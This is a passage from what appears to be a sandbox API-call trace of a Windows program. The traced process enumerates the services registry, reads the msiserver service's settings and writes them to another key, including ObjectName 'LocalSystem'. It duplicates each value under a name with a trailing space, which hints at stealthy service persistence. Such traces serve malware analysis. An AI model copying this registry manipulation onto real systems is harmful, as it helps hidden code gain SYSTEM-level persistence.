lpName="LSI_SCSI") returned 0x0 [0259.817] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0259.817] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0259.817] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0259.817] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0259.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0259.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0259.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0259.820] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0259.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0259.820] RegCloseKey (hKey=0xc4) returned 0x0 [0259.820] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.820] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.820] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.821] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.821] RegCloseKey (hKey=0x14c) returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.822] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.822] RegCloseKey (hKey=0xc4) returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.824] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.824] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.824] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.824] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.824] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.824] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.824] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.824] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.825] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.826] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.826] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.826] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0259.826] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0259.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.827] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.827] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.827] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.827] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.827] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.827] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.827] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.827] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.827] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.827] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0259.828] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.828] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, 